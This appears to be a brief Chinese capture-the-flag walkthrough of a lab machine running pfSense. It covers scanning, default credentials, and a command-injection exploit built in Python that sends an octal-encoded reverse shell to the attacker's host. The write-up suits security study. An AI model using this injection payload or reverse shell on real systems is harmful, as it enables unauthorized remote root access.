sudo nmap -sC -sV -A -p 80,443 10.10.10.60
gobuster dir -u http://10.10.10.60 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x 'html,php,asp,aspx,zip,rar'
访问页面,找到了cms,但是没有版本号
扫描到了system-users.txt
密码是默认,可能是靶机名,可能是cms的名字,尝试后发现是pfsense
根据版本找到漏洞,在漏洞的详细信息里找到了产生漏洞的url
https://10.10.10.60/status_rrd_graph_img.php
这里直接运行利用脚本的时候出错了,没关系,分析脚本手工利用
本质上还是exploit_url在起作用,登录作用的那部分可以不看
直接把exploit_url打印出来利用就可以了
lhost='10.10.14.20'
lport='9001'
rhost='10.10.10.60'
command = """
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("%s",%s));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
""" % (lhost, lport)
payload = ""
# encode payload in octal
for char in command:
payload += ("\\" + oct(ord(char)).lstrip("0o"))
login_url = 'https://' + rhost + '/index.php'
exploit_url = "https://" + rhost + "/status_rrd_graph_img.php?database=queues;"+"printf+" + "'" + payload + "'|sh"
print(exploit_url)
kali开启监听,拿到root权限
总结
有手就行